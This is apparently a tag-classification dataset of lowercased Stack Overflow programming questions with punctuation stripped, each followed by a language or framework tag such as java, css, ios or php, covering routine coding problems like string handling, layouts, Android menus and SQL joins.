how to specify the type of a class type  i am currently trying to define a method  that takes a <code>class</code> as argument  that is a subclass of a specific type. my current implementation is:   <pre><code>- (void)methodthatneedsaclassofspecialtypeasinput:(class)inclass {} </code></pre>   taking <code>nsstring</code> as an example base class  i have tried <code>nsstring.class</code> and <code>[nsstring class]</code> to specify the arguments class  but   <pre><code>- (void)methodthatneedsaclassofspecialtypeasinput:([nsstring class])inclass { } </code></pre>   does not compile with <code>parse issue: expected a type</code>.    so the question is: is is possible to make an <code>class</code> arguments type explicit      or in other words: i want my methods signatures semantic to say: i can take a <code>nsstring class</code>  an only a <code>nsstring class</code> as argument.    <strong>edit:</strong>    the answer is: no.,objective-c
string containing hyperlink  i have a string which has a hyperlink:   <pre><code>string msg = @ welcome to &lt;a href=\ http://google.com\ &gt;google&lt;/a&gt;  ; </code></pre>   when i use this in a messagebox  the hyperlink does not show as a link.  is it possible to use a hyperlink in this way,c#
"why is this button’s text centered   why is the text content of a basic <code>&lt;button&gt;</code> element centered vertically  after looking through the button s styles in the inspector  i have been unable to figure out which css property is responsible for this.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>button {
   width: 200px;
   height: 100px;
   text-align: left;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;button&gt;lorem ipsum&lt;/button&gt;</code></pre>
 </div>
 </div>
     <a href= https://i.stack.imgur.com/mjqtb.png  rel= noreferrer ><img src= https://i.stack.imgur.com/mjqtb.png  alt= screenshot of button ></a>",css
calayer renderincontext draws a blank image  this code works:   <pre><code>uigraphicsbeginimagecontextwithoptions(arect.size  no  0.0); [self.view drawviewhierarchyinrect:arect afterscreenupdates:yes]; animageview.image = uigraphicsgetimagefromcurrentimagecontext(); uigraphicsendimagecontext(); </code></pre>   but i need to support ios 5 and 6. my googling says this code ought to work:   <pre><code>uigraphicsbeginimagecontextwithoptions(arect.size  no  0.0); [self.view.layer renderincontext:uigraphicsgetcurrentcontext()]; animageview.image = uigraphicsgetimagefromcurrentimagecontext(); uigraphicsendimagecontext(); </code></pre>   but the image is blank. how do i take a snapshot of a view in ios 5 and 6,ios
python pychart error: i am running a python program which uses pychart package   but when i try to run   it displays the following error  i am running a python program which uses pychart package   but when i try to run   it displays the following error   <blockquote>    /usr/bin/python3.4 /home/dhruvamishra/desktop/genplot.py traceback   (most recent call last):   file    /home/dhruvamishra/desktop/genplot.py   line 3  in        from pychart import *   file  /usr/local/lib/python3.4/dist-packages/pychart/axis.py   line 18  in          from . import line_style   file  /usr/local/lib/python3.4/dist-packages/pychart/line_style.py   line   27  in         dash  : (tupletype  none  nameerror: name  tupletype  is not defined  </blockquote>,python
keep trying to buffer/reconnect  i have a small radio app  i m trying to get it to keep trying to reconnect/buffer my stream forever without quiting... not sure how i can loop this  but this is my buffering code. any kind of help i can get on this is greatly appreciated!   <pre><code>public void prepare() {     /* ------station- buffering-------- */     ispreparingstarted = true;             setstatus(status_buffering);             sendbroadcast(new intent(mode_three));             shownotification();             try {                 if (getcurrentstationtype().equals(signal_aac))                     multiplayer.playasync(stationurl());                 else {                     mediaplayer.setdatasource(stationurl());                     mediaplayer.prepareasync();                 }             } catch (illegalargumentexception e) {                 e.printstacktrace();                 stop();             } catch (nullpointerexception e) {                 e.printstacktrace();                 stop();             } catch (illegalstateexception e) {                 e.printstacktrace();                 stop();             } catch (ioexception e) {                 e.printstacktrace();                 stop();             } catch (exception e) {                 e.printstacktrace();                 stop();             }          } </code></pre>,android
restricting callback in model concern to right class  i have a model concern that triggers callbacks related to an api for different models. is there a way to cleanly separate in which class certain callbacks should be ran    <pre><code>module trackable   extend activesupport::concern   tracker = tracker.new()    included do       after_create_commit :do_this_to_user       after_create_commit :do_this_to_order   end    def do_this_to_user    end    def do_this_to_order   end  end </code></pre>   then i obviously include this concern into the relevant models  so i don t want both callbacks to be ran. i want the right callback for the right class. what s the best approach here,ruby-on-rails
gridview template column hiddenfield value is always 0 while visibility false  i have gridview with template column.inside the template column i have asp:hiddenfield. i am binding the value using eval() method.when i am trying to access the value of hiddenfi not accesible while visibility false <strong>aspx</strong>   <pre><code>   &lt;asp:templatefield headertext= select  visible= false &gt;        &lt;itemtemplate&gt;            &lt;asp:hiddenfield id= hdnmasterid  runat= server                 value= &lt;%# databinder.eval(container.dataitem   master_id ) %&gt;  /&gt;            &lt;asp:checkbox id= chkdelete  runat= server  /&gt;        &lt;/itemtemplate&gt;        &lt;itemstyle width= 4%  horizontalalign= center &gt;&lt;/itemstyle&gt;             &lt;headerstyle horizontalalign= center  /&gt;    &lt;/asp:templatefield&gt; </code></pre>   <strong>code behind</strong>   <pre><code>protected void gdvlist_rowcommand(object sender  gridviewcommandeventargs e) {     int intindex = convert.toint32(e.commandargument);     gridviewrow row = gdvlist.rows[intindex];     hiddenfield hdn = (hiddenfield)row.findcontrol( hdnmasterid ); } </code></pre>,asp.net
sliding bar in ios  like facebook when losing network connection  i need to provide a sliding bar in ios to alert the user that he entered wrong data. i want it to appear for about 1 second at the top of the screen and then disappear  so something with animcation and commit. but i couldn t find any good documentation for this.    any ideas     thanks.,iphone
function procedure in java  create a program that will ask the user to enter 3 numbers using for loop  then test the numbers and display it in ascending order.    sample input: 5 2 7    sample output: 2 5 7    i m stuck with the testing procedure. i don t know how to test the numbers since the variable holding those numbers is just a single variable and inside the for loop    here is my sample code:   <pre><code>import javax.swing.joptionpane; public class ascending {   public static void main(string args[])    {   for(int x= 0; x&lt;3;x++)  {   string snum = joptionpane.showinputdialog( enter a number );   int num = integer.parseint(snum);  }   &lt;here comes the program wherein i will test the 3 numbers inputted by the user and    display in ascending order. i don t know where to start. : ( &gt; </code></pre>,java
how to display a input textbox of particular div when selecting a value from select box   i have a select box containing some values shown below :   <pre><code>&lt;div&gt; &lt;select class= skilltest &gt;      &lt;option&gt;enter&lt;/option&gt;      &lt;option class= add &gt;add&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;div class= disableskill &gt; &lt;input type= text  class= form-control  name= advanced  id= exampleinputname  placeholder= tell me your skill level &gt; &lt;/div&gt;   //next same div as above   &lt;div&gt; &lt;select class= skilltest &gt;      &lt;option&gt;enter&lt;/option&gt;      &lt;option class= add &gt;add&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;div class= disableskill &gt; &lt;input type= text  class= form-control  name= advanced  id= exampleinputname  placeholder= tell me your skill level &gt; &lt;/div&gt; </code></pre>   i have multiple divs using the class padnone. when i am clicking the value advanced of a particular div class padnone  it should display the input text box inside the div class named disableskill of that particular main div.    i have written a jquery for it  but it is displaying all the input text boxes of every div.   <pre><code>$( select.skilltest ).change(function() {      alert( checkbox is checked. );     var skillvalue=$(this).val();     alert(skillvalue);     if(skillvalue  ==  add )     {         alert( checkbox is checked. );         $(this).find( div.disableskill ).show();       }     else{          $(this).find( div.disableskill ).hide();      } }); </code></pre>   can anyone say a solution for this,jquery
how to make multicolour circle animation with cashapelayer in iphone or xcode   i am trying to make a circle which will be animated and filled with black color clockwise  the duration of the circle animating is predefined to 20 second  what i want to do is the first 10 seconds it will be filled with black and the rest of the circle will be filled with red  and after the total 20 seconds it will become a 2 colored round circle  but i couldnt find any procedure of it  here is my code by which i drawn the circle animation:   <pre><code>-(void)makecircle{ int radius = 100; cashapelayer *circle = [cashapelayer layer]; //make a circular shape circle.path = [uibezierpath bezierpathwithroundedrect:cgrectmake(0  0  2.0*radius  2.0*radius)cornerradius:radius].cgpath; //centre the shape in self.view circle.position = cgpointmake(cgrectgetmidx(self.view.frame)-radius  cgrectgetmidy(self.view.frame)-radius); //configure the appearence of the circle circle.fillcolor = [uicolor clearcolor].cgcolor;  circle.strokecolor =[uicolor blackcolor].cgcolor; circle.linewidth = 5;  //add to parent layer [self.view.layer addsublayer:circle];  //configure animation cabasicanimation *drawanimation = [cabasicanimation animationwithkeypath:@ strokeend ]; drawanimation.duration = 20.0;//animate over 10 seconds or so... drawanimation.repeatcount=1.0;//animate only once;  drawanimation.removedoncompletion=no;  drawanimation.fromvalue = [nsnumber numberwithfloat:0.0f]; drawanimation.tovalue = [nsnumber numberwithfloat:1.0f];  drawanimation.timingfunction = [camediatimingfunction functionwithname:kcamediatimingfunctioneasein]; [circle addanimation:drawanimation forkey:@ drawcircleanimation ]; } </code></pre>   but i need to know how should i do this,iphone
how to get weekly records on rails   i have <strong>payment</strong> model with <strong>data</strong> and <strong>amount</strong> attributes. now i need to get all the records for the current week on the page. i want to use some kind of pagination  e.g.: on the first page i get all records for the current week  on the second page - records from the previous week etc.    and on every page i need to get total <strong>amount</strong> for this week and average <strong>amount</strong> per day.    so  i have two questions:   <ul> <li>how to get all the records for particular week on the page </li> <li>how to count amount for this week </li> </ul>   now everything i ve done was array with weeks and amounts   <pre><code>def self.count_by_week     raw_result = group_by_week_and_state.count      # {[ 2014-12-01-2014-12-07    foo ] =&gt; 100  [ 2014-12-01-2014-12-07    bar ] =&gt; 100   ...  =&gt;  ... }      raw_result.each_with_object({}) do |(k  v)  result|        result[k[0]] ||= {}        result[k[0]][k[1]] = v     end   end    def self.group_by_week_and_state     group( #{weekday_query(0)} || \ -\  || #{weekday_query(6)} ).group( amount )   end    # build sql part for day offset of week (0 =&gt; mon  6 =&gt; sun)   def self.weekday_query(offset)      to_char(cast(date_trunc(\ week\   created_at) as date) + #{offset}  \ yyyy-mm-dd\ )    end </code></pre>,ruby-on-rails
100vh doesn t take whole screen  i want to create a one-scroll-page  like each section is full height from screen.    but when i use 100vh  it doesn t take whole screen height  but more like 95%.    this is the link: <a href= http://i283951.iris.fhict.nl/stack/  rel= noreferrer >http://i283951.iris.fhict.nl/stack/</a> for example.    and screen: <a href= http://postimg.org/image/rc9g3sykh/  rel= noreferrer >http://postimg.org/image/rc9g3sykh/</a>    ps: first section shows 100vh fine  the next sections are the problem.,css
iresign: resigning ipa which was created with older (now expired) provisioning profile  i am trying to resign ipa which was created with older enterprise profile. the older enterprise profile is expired now and i have a new enterprise profile installed (*.mobileprovision).    question: is it possible to resign ipa which was created with older enterprise profile using iresign tool  now  i am trying to resign with new provisioning profile.    i am using iresign tool (<a href= https://github.com/maciekish/iresign  rel= nofollow >https://github.com/maciekish/iresign</a>).    i entered following details:   <ul> <li>path to ipa (which was created with older profile)</li> <li>path to .mobileprovision (new provisioning profile)</li> <li>certificate name</li> </ul>   i get this error:   <pre><code>signing failed /var/folders/vv/plljljdj5mqc3g0gc5wnv7fr0000gq/t/com.appulize.iresign/payload/appname.app: replacing existing signature codesign_allocate: object: /private/var/folders/vv/plljljdj5mqc3g0gc5wnv7fr0000gq/t/com.appulize.iresign/payload/appname.app/appname malformed object (unknown load command 21) /var/folders/vv/plljljdj5mqc3g0gc5wnv7fr0000gq/t/com.appulize.iresign/payload/appname.app: **object file format unrecognized  invalid  or unsuitable**  /var/folders/vv/plljljdj5mqc3g0gc5wnv7fr0000gq/t/com.appulize.iresign/payload/appname.app: **invalid signature (code or signature have been modified)** in architecture: armv7 </code></pre>,ios
average of occurrences of a character in a string array  i want to compute the average of occurrences of a character in a string eg if i pass an array [ hie   raisin   critical ] and i pass a target i then my method should return 1.6. how do i do this in java    <pre><code>public class try {      public static double averagecount(string[] array char target)     {         double avg=0.0;         string str;         char ch;         int total=0;          for (int i = 0; i &lt; array.length; i++) {             str=array[i];             total=count(str target);              system.out.println(total);          }         avg=total/array.length+1;         return avg;     }     public static int count(string str  char target)     {         int count=0;         for (int i = 0; i &lt;str.length(); i++) {              if(str.charat(i)==target)             {                 count++;             }         }          return count;     }      public static void main(string[] args) {         double avg=0.0; </code></pre>,java
is there any method to avoid using illegal pointer in c++   i have a complex class a:   <pre><code>class a{ ... }; </code></pre>   and class b is include a s pointer and has a method to return the pointer.   <pre><code>class b{ a* geta(){return pa;} a* pa; }; </code></pre>   then  when i use  geta  to get a a s pointer  it is easier to use the illegal pointer  like:   <pre><code>void func(a* p){ b b; p = b.geta(); } </code></pre>   when i use  func   i just get an illegal pointer. the code above is just a sample. and i found it is much easy to make this mistake when i am in a multi-thread environment.    is there any method to let me sure to avoid these mistakes     thanks a lot,c++
c++ string implementation error  i am trying to implement a basic <code>string</code> class in c++. however  i am stuck on the <code>append()</code> function. it would like it to be <code>hello world</code>  but it results as <code>hello íworlýýýý««««««««þ</code>:   <pre><code>#define __start namespace lib{ #define __end }  __start class string { public:     string(const char* s)     {         _str = s;     }     const char operator[](int position)     {         return _str[position];     }     void operator=(string s)     {         _str = s.c_str();     }     void append(string s)     {         size_t nlength = (length() + s.length());         char* nstr = new char[nlength];         for (int i = 0; i &lt; length(); ++i)         {             nstr[i] = _str[i];         }         for (int i = length() + 1; i &lt; nlength; ++i)         {             nstr[i] = s[(i - length() - 1)];         }         _str = const_cast&lt;const char*&gt;(nstr);     }     void operator+=(string s)     {         append(s);     }     const char* c_str()     {         return _str;     }     size_t length()     {         return strlen(_str);     }     std::string str()     {         return _str;     } private:     const char* _str; }; __end </code></pre>  <hr>  <pre><code>int main() {     lib::string s =  hello  ;     s.append( world ); // s +=  world ;     std::cout &lt;&lt; s.c_str();     getchar(); } </code></pre>,c++
how to convert ios date string into formatd date using javascript   hey using <strong>ionic + cordova</strong>  when i fetch the selected contact with birthdate  date values comes into this formate (1424779200000). i know its correct value  but now i want to convert this value into date and display into my application. i don t want to write any native code for everyone (like ios  android...). is there any javascript for this....,javascript
should i dispose a stringwriter  or reuse somehow   i ll make it simple. i have a stringwriter as a class member therefore i cannot use using(). i want an empty sw everytime i call a certain function. should i call dispose() on the sw and allocate a new object  or should i do something like .close() and do something else to empty the buffer,.net
min( ) with conditions  mysql  so i have a table with a few columns and i m doing a <code>group by</code>.  in addition to getting other columns i want to get the <code>min()</code> value of one column when the other column is <code>null</code>.  here s what i have so far:    table columns:   <pre><code>id        int(11) unsigned not null primary key auto_increment  table2_id int(11) unsigned not null  iteration int(11) unsigned  timestamp int(11) unsigned not null </code></pre>   sql:   <pre><code>select     table2_id      count(id) as total      count(iteration) as completed       # i want the min(timestamp) but only when     # iteration is null     min(timestamp) as next_incomplete from     table1 group by     table2_id </code></pre>,mysql
how can i put pointer on map   my question is that i have a constant geo point and i want to find location under 500 m radius from my constant geo point.how can we find these location and save in sharedpreferences.,android
left outer join where right hand table has multiple matching rows  if i have 2 tables a and b with one column and we have values like:     <pre><code>a   col1   1   </code></pre>    <pre><code>b   col1   1   1   1   2   </code></pre>   when i do    <pre><code>select * from a left join b on a.col1 = b.col1 </code></pre>   should i get one row (corresponding to the record in a) or 3 rows (corresponding to 3 matching records in b)  or will it give an error,sql
test structure for containers  i want to build a test structure to test arrays  vectors  lists  maps  and unordered_maps.  basically i want to populate each structure with a large amount of random data.  i want to run 3 tests on these.  i want to be able to see the big o trends for insert and search.    question is should i store the random data set in .txt files or pump the data directly into the containers     i m thinking i ll save it to disk so i can visualize what it looks like but i am wondering what type of file sizes will break the containers...is it feasible to do this     because the time functions are not precise the larger the data set the easier it will be to get average insert and search times.   <ol> <li>populate until break</li> <li>calculate insert times</li> <li>calculate search times</li> </ol>,c++
when will microsoft end mainstream support for existing versions of the .net framework   i m wondering until when the .net framework 2.0  3.0  3.5 will be supported by microsoft.    according to <a href= http://support.microsoft.com/lifecycle/  rel= noreferrer >microsoft support lifetime page</a> for developer products  the mainstream support phase should last for 5 years and extended support phase for another 5 years.    i found a <a href= http://support.microsoft.com/lifecycle/ p1=8291  rel= noreferrer >.net framework 2.0 entry</a> in the <a href= http://support.microsoft.com/gp/lifeselectindex  rel= noreferrer >support lifetime index</a>  however i was unable to find any entry for .net 3.0 and .net 3.5 there (or .net 4.0).    according to the .net framework 2.0 entry <strong>mainstream support phase for .net 2.0 will end at 4/12/2011</strong>.    i have two questions:   <ul> <li> considering that .net 3.0 and .net 3.5 are dependent on .net 2.0 clr does mainstream support for .net 3.x also end in 4/12/2011   </li> <li> if not  when is the end of mainstream support for .net 3.0 and .net 3.5  </li> </ul>,.net
how to set path for python  i have installed pyton 2.7.3 in my localmachine (windows 7 ) and as instructed in <a href= http://docs.python.org/tutorial/interpreter.html  rel= nofollow noreferrer >http://docs.python.org/tutorial/interpreter.html</a> and i tried to set path using cmd prompt.   <blockquote>    set path=%path%;c:\python27  </blockquote>   but when i typed <strong>python</strong>  in command line this error is showing   <pre><code>traceback (most recent call last): file &lt;stdin&gt;  line 1  in &lt;module&gt; nameerror:name  python  is not defined </code></pre>   i also tried to add path manually   <pre><code>start menu &gt; control panel &gt; system &amp; security &gt; system &gt; advanced system settings/   under system variables-path-&gt;edit and added this code  ;c:\python27 </code></pre>   but still when i type <strong>python</strong> in command line i get the same error    what should i do,python
printing a string with a class in c++  <pre><code>#ifndef date_h #define date_h  #include &lt;iostream&gt; #include &lt;iomanip&gt; using namespace std;  class date{ private:     unsigned int day;     unsigned int month;     string monthname;     unsigned int year; public:     date();     void printnumeric() const;     void printalpha() const; }; #endif </code></pre>   my header file   <pre><code>#include  date.h  #include &lt;string&gt; using namespace std;   date::date(){     month = 1;     monthname =  january ;     day = 1;     year = 1970; }  void date::printnumeric() const{     cout &lt;&lt; month &lt;&lt;  /  &lt;&lt; day &lt;&lt;  /  &lt;&lt; year; }  void date::printalpha() const{     cout &lt;&lt; date::monthname &lt;&lt;     &lt;&lt; day &lt;&lt;      &lt;&lt; year; } </code></pre>   and the actual code.  my printnumeric function works fine according to the testbed but my printalpha is not producing the string month name.  am i supposed to do something with monthname so that it would produce the user input for the month name,c++
calling native ios method with two parametres from uiwebview using jscontext  i want to call ios native method using jscontext with two parameters.    <code>-(void)log:(nsstring*)msg;</code> in jsexport works fine when called with viewcontroller.log(logmasg); where viewcontroller is set as js[ viewcontroller ] = objcobj;    with same settings how can i call methos with two parameters   <pre><code>-(void)iosmethod:(nsstring*)param1 andparam:(nsstring*)param2 i tried calling as viewcontroller.iosmethodandparam( i am 1   i am 2 ); </code></pre>   but it do not call that method.  any help is appreciated .,objective-c
loop through php code (with a custom field)  i use a wordpress plugin in which i can add custom data for each category now because of some error it doesn t always grab the correct data.  to fix that i wrote the following:   <pre><code>&lt; php if ( in_category( 3 ) ) :   &gt;  &lt; php the_field(  categoryselect    category_3  );  &gt;  &lt; php endif;  &gt; </code></pre>   now that works   but is there a way to loop through all my categories with this <br> (basicly i need the  3   and the number in  category_3   to loop through all my categories) i couldnt get it to work  so was going to hard code it   but thought i would ask for help before hardcoding it :p    thnx in advance    edit   with help from ketan   i came to this solution that works for my problem   <pre><code>&lt; php  $category = get_queried_object(); $testtest = $category-&gt;term_id; if ( in_category( $testtest ) ) :   &gt;  &lt; php the_field(  categoryselect    category_ .$testtest );  &gt;  &lt; php endif;  &gt; </code></pre>,php
how to determine which compiling flags are required to compile a given code   i am reading <a href= http://www.cs.rpi.edu/~moorthy/courses/os98/pgms/socket.html  rel= nofollow >this</a>. at 2nd and 3rd pages  there are 2 source codes given. at the 3rd page  the following is stated:   <blockquote>    download these into files called server.c and client.c and compile   them separately into two executables called server and client. they   require special compiling flags as stated in their respective   programs.  </blockquote>   however  i did not see any comments or anything in the source codes directing to which compiling flags to use.    how can i determine which compiling flags am i supposed to use,c
uitableviewcell custom cell not showing details  any help please!! i am trying to show title and details  but details do not display(blank).   <pre><code>-(uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     static nsstring *cellidentifier = @ cell ;     uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];      if (cell == nil)     {         cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:cellidentifier] ;     }        nsstring * thecell = [nsstring stringwithformat:@ from %@ to %@ at %@   [flights valueforkey:@ depairport ] [flights valueforkey:@ destairport ] [flights valueforkey:@ deptime ]];     nslog(@ the %@   thecell);      // configure the cell...     // configure the cell...      cell.textlabel.font = [uifont fontwithname:@ helvetica  size:12];     cell.textlabel.linebreakmode = uilinebreakmodewordwrap;     cell.textlabel.numberoflines = 0;     cell.textlabel.textcolor =[uicolor blackcolor];      cell.textlabel.text = [[flights objectatindex:[indexpath row]] valueforkey:@ flight_id ];       cell.detailtextlabel.text = thecell;       return cell; } </code></pre>   any help would be appreciate!!,ios
java process : wait for parent process exits  my java application is launched by a parent process(windows) as its child process.    the parent process sends its pid in environment variable to child process.    in windows api  there is a <code>wairforsingleobject</code> which allows the child process to wait for parent process exits (including process termination).    how can i monitor the parent process s exit in java,java
jquery get next element and all of its children  how can i get the next div element and then all of its children    <pre><code>&lt;div class= 1 &gt;&lt;/div&gt; &lt;div class= 2 &gt;     &lt;div class= child1 &gt;&lt;/div&gt;     &lt;div class= child2 &gt;&lt;/div&gt; &lt;/div&gt; &lt;div class= 3 &gt;     &lt;div class= child1 &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   so  if <code>$(this)</code> currently is class 1  how can i get to only class 2 and all of its children. and i can t reference it by its class name since i won t know what that is.    i m basically looking to merge these 2 statements into 1.   <pre><code>$(this).next( div ).animate({height :  toggle }); $(this).next( div * ).animate({height :  toggle }); </code></pre>,jquery
how to send large (10 000+) number of emails via php/mysql   currently i have a client that wants to send numerous amounts of emails (10 000+) to their clients.. how is this possible   any help or advise would be appreciated..     thanks :),php
menu item in my application; no interaction occurs  while doing some research on android  i came across drawerlayout and navigationview for menu. implemented a simple navigation with sliding menu on my application going through a tutorial. menu shows up as desire but i can t interact.  i m not getting any kind of action nor it gets highlighted when i touch item in my menu. for a life of me  i can t find out the error. no error shows on compile time or run time. nothing in debugger.   <blockquote>    code for my main activity:  </blockquote>  <pre><code>        mdraw = (drawerlayout) findviewbyid(r.id.drawer);         mtoggle = new actionbardrawertoggle(this  mdraw  r.string.open  r.string.close);         mdraw.adddrawerlistener(mtoggle);         mtoggle.syncstate();         mainnavigationmenu = (navigationview) findviewbyid(r.id.navid);         mainnavigationmenu.setnavigationitemselectedlistener(                 new navigationview.onnavigationitemselectedlistener() {                      @override                     public boolean onnavigationitemselected(@nonnull menuitem item) {                         log.i( flag    +item.getitemid());                         return false;                     }                 });          getsupportactionbar().setdisplayhomeasupenabled(true); </code></pre>  <blockquote>    here is the xml side of code:  </blockquote>  <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;android.support.v4.widget.drawerlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:id= @+id/drawer      android:layout_width= match_parent      android:layout_height= match_parent      tools:context= com.example.bikenmaharjan.priceapp.homeactivity &gt;       &lt;android.support.design.widget.navigationview         android:id= @+id/navid          app:headerlayout= @layout/header          android:layout_width= wrap_content          app:itemtextcolor= @color/white          android:layout_height= match_parent          app:menu= @menu/menu          android:layout_gravity= start &gt;      &lt;/android.support.design.widget.navigationview&gt;       &lt;linearlayout         android:layout_width= match_parent          android:layout_height= match_parent          android:orientation= vertical          android:paddingleft= 20dp          android:paddingright= 20dp          android:paddingtop= 25dp          &gt;          &lt;android.support.v7.widget.cardview             android:id= @+id/cv              android:layout_width= match_parent              android:layout_height= 180dp              app:cardcornerradius= 8dp &gt;               &lt;linearlayout                 android:layout_width= match_parent                  android:layout_height= match_parent                  android:gravity= center                  android:orientation= vertical &gt;                  &lt;framelayout                     android:layout_width= wrap_content                      android:layout_height= wrap_content &gt;                      &lt;imageview                         android:layout_width= 220dp                          android:layout_height= 90dp                          android:src= @drawable/upc  /&gt;                       &lt;imageview                         android:layout_width= wrap_content                          android:layout_height= wrap_content                          android:layout_gravity= center                          android:src= @drawable/scan  /&gt;                  &lt;/framelayout&gt;                  &lt;button                     android:id= @+id/button2                      android:layout_width= match_parent                      android:layout_height= wrap_content                      android:onclick= goocr                      android:text= scan receipt  /&gt;              &lt;/linearlayout&gt;           &lt;/android.support.v7.widget.cardview&gt;           &lt;textview             android:layout_width= match_parent              android:layout_height= wrap_content              android:layout_margintop= 30dp              android:text= product              android:textsize= 28sp  /&gt;       &lt;android.support.v7.widget.recyclerview         android:id= @+id/rv          android:layout_width= match_parent          android:layout_height= wrap_content &gt;       &lt;/android.support.v7.widget.recyclerview&gt;       &lt;/linearlayout&gt;    &lt;/android.support.v4.widget.drawerlayout&gt; </code></pre>  <blockquote>    here is the menu item:  </blockquote>  <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;menu xmlns:android= http://schemas.android.com/apk/res/android &gt;      &lt;item android:id= @+id/addproduct          android:title= add product          android:state_pressed= true          android:drawable= @color/black          /&gt;      &lt;item android:title= help          android:id= @+id/help          /&gt;      &lt;item android:title= sign out          android:id= @+id/signout          /&gt;  &lt;/menu&gt; </code></pre>,android
how to stop expandablelistview from stealing child touch events   i have a viewpager in a group view (section header) of an expandablelistview. as expected  scrolling of viewpager sometimes becomes choppy  most probably because the expandablelistview is trying to intercept the touch events. as a solution  i am trying to prevent the expandablelistview from intercepting touch events if they are meant for the viewpager. so  far  this is what i have done.   <pre><code>private void fixviewpager(viewpager vp) {     vp.setontouchlistener(new viewpager.ontouchlistener() {         @override         public boolean ontouch(view v  motionevent event) {             int action = event.getaction();             switch (action) {             case motionevent.action_down:                 // disallow scrollview to intercept touch events.                 logger.log( disabling event stealing );                 v.getparent().requestdisallowintercepttouchevent(true);                 break;              case motionevent.action_up:                 // allow scrollview to intercept touch events.                 logger.log( enabling event stealing );                 v.getparent().requestdisallowintercepttouchevent(false);                 break;             }              // handle listview touch events.             v.ontouchevent(event);             return true;         }     });      } </code></pre>   but  the touch listener never gets the action_down event. it only seems to get the action_up event. what can i do to solve my problem  thank you!,android
accepting character in c++ with and without space  what is the difference in the two codes where both accepts characters  note that there is a space in second way of accepting character     <pre><code>char c; scanf( %c  &amp;c);// first way scanf(  %c  &amp;c);// second way </code></pre>,c++
uiwebview  customize  return  key  i d like to customize the  return  key in the uiwebview s keyboard. normally you can do this by setting the returnkey property of a uitextfield  but because the application is in html  there are no uitextfields  just textareas.    currently  my work around is to hide my replacement button in the bottom right hand corner and animate it upwards with the keyboard so that it sits ontop of the return key. it looks very nice  actually  but i m concerned that my code might fail to work in future versions of ios    is there a better way to be doing this  i know in ios4 there was a way to acces the uikeyboard  but ios5 removed this.,ios
accessing swing components of another class  i have two classes <code>gamewindow</code> and <code>gameengine</code>. the main method is in <code>gamewindow</code> class &amp; so is the swing gui code. now  i want to access the swing components in <code>gameengine</code>. how to do that  i always get the <code>cannot find symbol</code> error when i try it normally. i ve tried making the components public but with no luck.     also  i tried creating a instance of <code>gamewindow</code> but it too  didn t help. it compiled without any error but i got a big runtime error(which i can t even see  the command prompt gets scrolled to it s limit).    relp!!    p.s.: i don t think the posting the code here will help.,java
why am i getting unboundlocalerror in this case  take the code below   <pre><code>menu_options = [] for i in range(0  len(servers)):     s = servers[i][ servername ]     def func(s=s):         user.remove_server(s)          ret err = (true  none) #user.write_to_db()         if err:             print( error removing server: {} .format(err))         else:             print( server  +\                  [{}] was successfully removed! .format(s))             menu_options = [x for x in menu_options if x[0]!=s] # problem!             remove_menu.set_options(menu_options)          input()      menu_options.append( (servers[i][ servername ] func) )  menu_options.append( ( [return]   remove_menu.close) ) remove_menu.set_options(menu_options) remove_menu.open() </code></pre>   i get an error telling me that <code>menu_options</code> is referenced before assignment in the line where i use the list comprehension to remove a tuple.    if i change this line to a <code>print(menu_options)</code> for example or <code>len(menu_options)</code> it executes with no problems  so the varible is set. why changing it gives me an error  but printing it doesn t     what am i missing here  and how could i solve this,python
how to have div percentage auto adjust based on div min-width   the code below works as expected. i have two divs  one blue  one green. the blue div takes up 20%  the red div takes up 80%.    <img src= https://i.stack.imgur.com/ysmsq.png  alt= enter image description here >   <pre><code>html body {     height: 100%; }  body {     margin: 0; }  #panel {     width: 20%;     height: 100%;     background-color: #0794ea;     float: left; }  #map {     width: 80%;     height: 100%;     background-color: green;     float: right; } </code></pre>   i now need to set the blue div <code>#panel</code> to have a minimum width of 410px. so i add this to the <code>#panel</code> div. the result is below:    <img src= https://i.stack.imgur.com/lclom.png  alt= enter image description here >    the green div has been pushed below the window s height and is now not visible. how can i make the green div s percentage automatically resize so that it will still fit on the screen,css
number of elements in an array when used in a structural pointer  suppose i have a structure   <pre><code> struct integer  {      int a[10000];  }; </code></pre>   and a string s..  i make a function..   <pre><code>struct integer* convert_integer(char* stringint)  {      int i=0;      struct integer* a;      a = (struct integer*)malloc(sizeof(struct integer));      for (i=((strlen(stringint))-1);i&gt;=0;i--)      {          (a-&gt;a)[i]=(int)stringint[(strlen(stringint))-1-i] - 48;      }      return a;  } </code></pre>   how do i find the number of elements in an array i.e the number of elements that have been filled in the array  so that i can print the array in reverse order(as i have converted the string to array in reverse order)..,c
php html output video with no extension to browser  i have media files like mp4  ogg etc to server on page. but the problem is due to some security reasons files don t have any extensions although they are media files. so apache cant recognize the mime type and hence html5 video tags fail to play videos.    <strong>what are my options  </strong>    since i don t have any extension  <code>.htaccess</code> doesnot work. if i put file-extension in names then it starts working. also i have mime type of these files stored in databse.    <strong>file strucure:</strong>   <pre><code>asdsad/media werewr/media 23frwe/media  //where media is the file ( could be mp4/ogg/webm) with no extension. // before / is folder name // if i change media to media.mp4   it works </code></pre>   <strong>.htaccess file</strong>   <pre><code>addtype video/ogg .ogv .ogm .ogg addtype audio/ogg .oga .ogg addtype video/mp4 .mp4 addtype video/webm .webm addtype video/x-m4v .m4v addtype text/x-vcard .vcf </code></pre>   what if i output file from php instead of linking it from localpath   will it work   something like this.   <pre><code>header( content-type: video/mp4 ); echo file_get_contents($pathtmp4); </code></pre>,php
youtube app like uitableview  does anyone have a tutorial or some sample on how to make a uitableview like the youtube iphone app     thanks,iphone
